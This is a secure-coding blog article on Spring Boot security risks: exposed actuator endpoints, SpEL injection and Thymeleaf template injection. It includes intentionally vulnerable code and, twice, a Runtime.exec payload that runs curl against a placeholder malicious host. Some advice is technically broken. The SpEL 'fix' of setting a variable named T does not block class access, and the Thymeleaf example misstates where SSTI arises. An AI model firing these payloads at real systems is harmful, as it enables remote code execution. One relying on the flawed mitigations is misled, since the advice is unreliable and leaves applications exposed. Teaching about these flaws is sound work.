Get Started

Top Spring Boot Security Risks Developers Must Know

Secure coding
ApplicationSecuritySecuritySpring BootSSTIVulnerability Assessment
Spring Boot security risks illustration with key threats

Learn about the most common security risks in Spring Boot applications including exposed actuators, SpEL injection, and Thymeleaf SSTI vulnerabilities.

Top Spring Boot Security Risks Every Developer Should Know

Spring Boot is one of the most popular frameworks for building Java-based applications, known for its speed and simplicity. However, like any widely-used framework, it is not immune to security vulnerabilities. In this article, we’ll explore three common security issues in Spring Boot applications: exposed actuators, SpEL injection, and Thymeleaf Server-Side Template Injection (SSTI). We will also provide strategies for mitigating these risks and securing your Spring Boot application.

1. Exposed Actuators in Spring Boot

Spring Boot provides built-in support for application monitoring through actuators. These actuators offer valuable insights into your application’s health, metrics, environment properties, and more. However, exposing them publicly can create serious security risks.

The Risk:

  • By default, Spring Boot exposes several sensitive endpoints (e.g., /actuator/env, /actuator/metrics) over HTTP, which can give attackers insight into internal application details. This can lead to information leakage, giving them a better understanding of your system and potential attack vectors.

Example Vulnerability (Exposed Actuator):

# Expose the management endpoints on the same port as the application
management.server.port=8080

# Expose the management endpoints at /actuator
management.endpoints.web.base-path=/actuator
management.endpoints.web.exposure.include=health,info,heapdump,threaddump

# Expose application endpoints (e.g., /, /home, etc.) on the same port (default is 8080)
server.port=8080

In this example, both the application code and the management endpoints are listening on the same port. Allowing any attacker to access it. By exploiting the /actuator/heapdump endpoint. An attacker can dump the memory and extract sensitive information from the heap dump.

How to Mitigate:

  • Restrict access to actuators: You can disable or secure actuator endpoints by configuring them in your application.properties or application.yml. For example, limit access to sensitive actuator endpoints using Spring Security:
management.endpoints.web.exposure.include=health,info
management.endpoint.health.show-details=never
management.endpoints.web.base-path=/management
  • Enable authentication: Protect sensitive endpoints with proper authentication, for example by enabling HTTP basic authentication.
  • Seperate ports: Use a different port for management endpoints to prevent access to sensitive information.

2. SpEL Injection in Spring Boot

Spring Expression Language (SpEL) allows you to dynamically evaluate expressions in Spring applications. While SpEL is powerful, improper usage can lead to dangerous vulnerabilities, especially when user input is not sanitized.

The Risk:

  • SpEL injections can occur when an application dynamically evaluates expressions based on untrusted user input. If an attacker can inject malicious SpEL code, they may gain access to sensitive data, execute arbitrary code, or manipulate application behavior.

Example Vulnerability (SpEL Injection with parseExpression):

Consider a Spring Boot application where parseExpression is used to evaluate dynamic expressions based on user input. The following code dynamically parses a user-supplied expression:

import org.springframework.beans.factory.annotation.Value;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
public class UserController {

    @RequestMapping("/evaluate")
    public String evaluateUserInput(String userInput) {
        ExpressionParser parser = new SpelExpressionParser();
        StandardEvaluationContext context = new StandardEvaluationContext();

        // Dynamic expression parsing based on user input
        String result = parser.parseExpression(userInput).getValue(context, String.class);

        return "Evaluated Result: " + result;
    }
}

In this example, the evaluateUserInput method uses parseExpression to dynamically evaluate a user-supplied expression. While this functionality is powerful, it introduces significant security risks, as it allows the attacker to inject malicious SpEL expressions.

If an attacker passes the following input:

T(java.lang.Runtime).getRuntime().exec('curl http://malicious-site.com')

This would cause the server to execute an arbitrary command, allowing the attacker to trigger unwanted actions, such as sending requests to external malicious servers or executing further attacks.

How to Mitigate:

  • Avoid dynamic SpEL evaluation with user input: Never evaluate user inputs directly using parseExpression or any other dynamic expression evaluation method unless absolutely necessary. If you must use SpEL, ensure input is properly sanitized or validated.
  • Use expression validation: When expressions must be evaluated, implement strict input validation to ensure only safe, predefined expressions are allowed. This can be done by whitelisting allowed expressions and rejecting anything that doesn’t match the criteria.
  • Use custom context: If you must evaluate expressions based on user input, use a custom evaluation context that doesn’t allow access to unsafe methods or classes like Runtime, Class, or system-level properties.

For example, you can restrict access to certain methods by removing them from the evaluation context:

StandardEvaluationContext context = new StandardEvaluationContext();
// Restrict access to unsafe methods
context.setVariables(Collections.singletonMap("T", new Object())); // Remove access to Java classes

By controlling what methods are accessible through SpEL, you significantly reduce the risk of exploitation.

3. Thymeleaf Server-Side Template Injection (SSTI)

Thymeleaf is a popular templating engine used in Spring Boot applications. While it’s powerful and flexible, improper handling of user input in Thymeleaf templates can lead to Server-Side Template Injection (SSTI) vulnerabilities.

The Risk:

If an attacker can inject malicious templates or data into your Thymeleaf templates, they may execute arbitrary code on the server side. This can lead to remote code execution (RCE) or unauthorized access to sensitive application resources.

Example Vulnerability (SSTI):

Consider the following vulnerable Thymeleaf template:

<html xmlns:th="http://www.thymeleaf.org">
<head>
    <title>User Profile</title>
</head>
<body>
    <h1>Welcome, <span th:text="${username}">Guest</span></h1>
    <div>Your profile:</div>
    <p th:text="${userInfo}">No user information available.</p>
</body>
</html>

In the above code, user input (username and userInfo) is directly injected into the Thymeleaf template without proper sanitization. An attacker could inject malicious code into the username or userInfo fields, which the server would evaluate and execute. For example:

If the attacker injects the following as their userInfo:

${T(java.lang.Runtime).getRuntime().exec('curl http://malicious-site.com')}

This code would cause the application to execute arbitrary code on the server, such as contacting an external server, or worse.

How to Mitigate:

  • Sanitize user inputs: Always sanitize and validate any user-provided data that is used in templates.
  • Use safe Thymeleaf features: Thymeleaf has built-in mechanisms to escape user inputs automatically. Always use the proper escaping context (th:text, th:attr, etc.) to avoid executing arbitrary code in templates.
  • Restrict template access: Ensure that your Thymeleaf templates are not accessible to unauthorized users or external parties. Use access control and validation to restrict input and execution contexts.

Conclusion

Spring Boot provides a powerful framework for building secure and scalable applications, but it is not immune to security vulnerabilities. Exposed actuators, SpEL injection, and Thymeleaf SSTI are just a few examples of potential risks that could compromise the security of your application. By following best practices for securing Spring Boot applications—such as restricting actuator access, validating SpEL expressions, and sanitizing user inputs for templates—you can significantly reduce the chances of these vulnerabilities being exploited in your system.

Learn and Practice Spring Boot Vulnerabilities In-Depth

To gain a deeper understanding of these vulnerabilities and more, as well as to practice real-world exploitation techniques, visit AppSecMaster Challenges.

FAQs (Frequently Asked Questions)

What are the most common Spring Boot security risks developers face?

The most frequent risks include exposed actuator endpoints, SpEL injection, and Thymeleaf template injection. These can lead to unauthorized access, data leakage, or even remote code execution if not adequately mitigated.

How can I protect Spring Boot actuator endpoints from being exposed?

Restrict access by configuring endpoint visibility, enabling authentication, and hosting actuators on a separate port. This reduces the chance of sensitive application data being leaked.

Why is SpEL injection dangerous in Spring applications?

SpEL injection lets attackers execute arbitrary expressions or access internal classes, which can compromise system integrity. Avoid evaluating user input directly to prevent this.

What is SSTI in Thymeleaf, and how does it happen?

Server-Side Template Injection (SSTI) occurs when unvalidated user input is embedded into templates. Thymeleaf may then execute malicious expressions, risking system exploitation.

What are the best methods for securing Spring Boot applications?

Use input validation, sanitize all user data, configure access controls, and audit dependencies regularly. Staying updated with security patches is equally essential.